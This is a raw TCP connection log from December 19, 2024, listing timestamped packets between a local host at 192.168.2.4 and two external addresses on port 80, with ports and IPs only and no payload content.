Dec 19, 2024 06:09:44.229497910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.229531050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.230529070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.230700970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.230752945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.231498957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.231554985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.231632948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.231681108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.232584000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.232656002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.232731104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.232877970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.233730078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.233907938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.233963966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.234877110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.234944105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.235057116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.235281944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.235867977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.235925913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.236038923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.236084938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.237041950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.237077951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.237087965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.237123013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.238004923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.238053083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.238169909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.239276886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.239330053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.239331007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.239370108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.240266085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.240427017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.240453959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.240469933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.241394043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.241450071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.241560936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.241705894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.242384911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.242438078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.242558956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.242887974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.243673086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.243710041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.243758917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.244538069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.244589090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.244810104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.244856119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.245429993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.245465040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.245508909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.246350050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.246436119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.246465921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.246505022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.249577999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.249630928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.249706030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.249838114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.250228882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.250262976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.250282049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.250298977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.250308990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.250334024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.250339985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.250391006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.251070023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.251113892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.251250982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.251296997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.252298117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.252427101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.252444029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.252489090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.253418922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.253453016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.253475904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.253499031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.254365921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.254451036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.254525900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.254573107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.255511999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.255570889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.255666971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.255711079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.256624937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.256673098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.256779909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.256823063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.257622957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.257671118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.257786036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.257827997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.258898973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.258934975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.258980036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.259905100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.259939909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.259951115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.259985924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.260974884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.261022091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.261125088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.261166096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.262025118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.262073040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.262164116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.262216091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.263227940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.263269901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.263322115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.264240980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.264281988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.264293909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.264328957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.265391111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.265455961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.265530109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.265573978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.266352892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.266441107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.266518116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.266571045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.267505884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.267545938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.267669916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.267719984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.268635988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.268687010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.268760920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.268848896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.269953966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.269988060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.270019054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.270040035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.270749092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.270808935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.270917892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.271163940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.271874905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.271986008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.272046089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.272150040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.272865057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.273050070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.273101091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.274168968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.274204016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.274229050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.274245977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.274985075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.275021076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.275051117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.275090933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.275748014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.275798082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.275873899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.275929928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.411398888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.411494017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.411509991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.411540985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.411904097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.411990881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.412051916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.412117958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.413012028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.413078070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.413130999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.413254023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.414027929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.414268970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.414391041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.414434910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.414503098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.414549112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.415474892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.415524006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.415597916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.415647984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.416568041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.416620016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.416676998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.416723013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.417659998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.417706966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.417743921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.417901039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.418782949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.418859005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.419076920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.419188023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.419838905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.419909954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.419924021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.420078993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.420944929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.420998096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.421168089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.421205044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.422004938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.422061920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.422154903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.422197104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.423122883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.423177004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.423212051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.423260927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.424195051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.424307108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.424308062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.424349070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.425272942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.425334930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.425373077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.425419092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.426373959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.426486969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.426538944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.427449942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.427512884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.427551031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.427685022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.428550959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.428644896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.428677082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.428719044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.429639101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.429718018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.429749966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.429790020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.430731058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.430773973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.430840015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.430891991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.431821108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.431871891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.431924105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.431967974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.432898045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.432941914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.433021069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.433068991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.434005976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.434063911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.434103012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.435095072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.435151100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.435199022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.435250998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.436188936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.436253071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.436285973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.436342001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.437261105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.437314987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.437352896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.437411070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.438332081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.438457012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.438524008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.439430952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.439498901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.439532995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.439582109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.440519094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.440577984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.440624952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.440670013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.441601992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.441669941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:44.441700935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:44.441747904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:46.853349924 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:46.853601933 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:46.973031998 CET	80	49854	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:46.973237038 CET	80	49832	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:46.973371983 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:46.974139929 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:47.080477953 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:47.200046062 CET	80	49854	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:48.309860945 CET	80	49854	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:48.309941053 CET	49854	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:48.327603102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:48.328171015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:48.447355032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:48.447427034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:48.447621107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:48.447801113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:48.447982073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:48.567461014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.769938946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.769979954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770070076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770078897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770078897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770119905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770153999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770157099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770190954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770226955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770231009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770231009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770231009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770306110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770343065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770384073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770384073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770384073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.770415068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.770512104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.890024900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.890077114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.890116930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.890258074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.894114017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.894198895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.894222975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.894283056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.961894035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.961986065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.961997032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.962053061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.964365959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.964452028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.964463949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.964507103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.972738981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.972784042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.972909927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.972994089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.981086969 CET	80	49860	31.41.244.11	192.168.2.4
